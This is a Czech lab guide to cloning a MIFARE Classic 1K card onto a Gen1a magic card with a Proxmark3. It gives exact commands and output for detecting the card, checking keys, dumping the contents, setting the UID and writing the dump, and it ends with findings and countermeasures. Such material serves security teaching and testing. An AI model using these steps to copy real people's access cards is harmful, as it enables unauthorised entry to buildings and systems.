Postup klonování MIFARE karty
Úvod
Tento dokument popisuje postup klonování MIFARE karty pomocí Proxmark3. Všechny kroky musí být prováděny pod dohledem oprávněné osoby a pouze pro výukové a testovací účely.
Důležité upozornění k typu karty
Pro úspěšné klonování je nutné použít speciální typ karty označovaný jako "Magic Card". Standardní MIFARE karty mají z výroby trvale uzamčené některé důležité oblasti:
- UID (unikátní identifikátor)
- ATQA (Answer To Request Type A)
- SAK (Select Acknowledge)
- Výrobní blok (manufacturer block)
Magic Card umožňuje:
- Změnu všech výše uvedených parametrů
- Opakovaný zápis do normálně uzamčených oblastí
- Emulaci různých typů MIFARE karet
- Kompletní klonování včetně UID
V našem postupu používáme Magic Card Gen1a, která je schopná emulovat MIFARE Classic 1K kartu včetně všech potřebných parametrů.
MIFARE Classic 1K - Technická specifikace
- Paměť: 1024 bytů, organizovaných do 16 sektorů
- Struktura sektorů: Každý sektor obsahuje 4 bloky po 16 bytech
- Organizace:
- Sektor 0, Blok 0: Obsahuje UID karty a výrobní data (pouze pro čtení)
- Každý sektor má svůj vlastní Sector Trailer (poslední blok sektoru)
- Sector Trailer obsahuje:
- Klíč A (6 bytů)
- Přístupová práva (4 byty)
- Klíč B (6 bytů)
- Pracovní frekvence: 13.56 MHz
- Komunikační rychlost: 106 kbit/s
- Dosah čtení: Typicky 10 cm
- Životnost: 100,000 cyklů zápisu
- Uchování dat: 10 let
Bezpečnostní vlastnosti
- Unikátní 4bytové UID (7bytové pro některé verze)
- Vzájemná tříprůchodová autentizace (Three-pass authentication)
- Individuální přístupová práva pro každý paměťový blok
- Šifrování komunikace pomocí algoritmu Crypto-1
- Hardwarový generátor čísel pro autentizaci
Krok 1: Detekce původní karty
Příkaz:
[usb] pm3 --> auto
Výstup:
[=] lf search
[=] hf search
[+] UID: 80 AF 20 AD
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Magic capabilities : Gen 1a
[#] 1 static nonce 01200145
Poznámka: V tomto kroku jsme zjistili základní parametry karty:
- UID: 80AF20AD
- ATQA: 0004
- SAK: 08
- Typ karty: Magic Card Gen1a
Krok 2: Kontrola klíčů původní karty
Příkaz:
[usb] pm3 --> hf mf fchk --1k
Výstup:
[=] Running strategy 1
[=] Chunk 0.3s | found 32/32 keys (56)
[+] found keys:
[+] -----+-----+--------------+---+--------------+----
[+] Sec | Blk | key A |res| key B |res
[+] 000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+] 001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
...
[+] 015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
Poznámka: Zjistili jsme, že všechny sektory používají defaultní klíč FFFFFFFFFFFF.
Krok 3: Vytvoření dumpu původní karty
Příkaz pro uložení dumpu:
[usb] pm3 --> hf mf csave -f original_card_dump.eml
Poznámka: Tento krok vytvoří soubor s kompletním obsahem původní karty. Soubor se uloží do aktuálního adresáře.
Krok 4: Příprava nové karty
- Vložte novou kartu na čtečku
- Nastavte UID, ATQA a SAK:
[usb] pm3 --> hf mf csetuid -u 80AF20AD --atqa 0004 --sak 08
Výstup:
[+] old block 0... 80AF20ADA2080400036EB27E57BF7590
[+] new block 0... 80AF20ADA2080400036EB27E57BF7590
[+] Old UID... 80 AF 20 AD
[+] New UID... 80 AF 20 AD ( verified )
Krok 5: Zápis dat na novou kartu
Příkaz pro nahrání dumpu:
[usb] pm3 --> hf mf cload -f original_card_dump.eml
Poznámka: Tímto nahrajeme kompletní obsah původní karty na novou kartu.
Krok 6: Ověření
Pro ověření úspěšnosti klonování můžeme použít:
[usb] pm3 --> hf mf cview
Důležitá upozornění
- Všechny operace musí být prováděny s kartou položenou na čtečce
- Je nutné přesně dodržet syntaxi příkazů
- Postup je určen pouze pro výukové a testovací účely
- Při práci s kartami dbejte na správnou manipulaci
- Průběžně kontrolujte úspěšnost jednotlivých kroků
Zjištěné bezpečnostní problémy
- Použití defaultních klíčů (FFFFFFFFFFFF)
- Implementace pouze UID autentizace
- Přítomnost statického nonce
- Možnost použití Magic Card pro klonování
Doporučená protiopatření
- Změna defaultních klíčů
- Implementace 3DES autentizace
- Pravidelná rotace klíčů
- Monitoring přístupů
- Detekce pokusů o použití klonovaných karet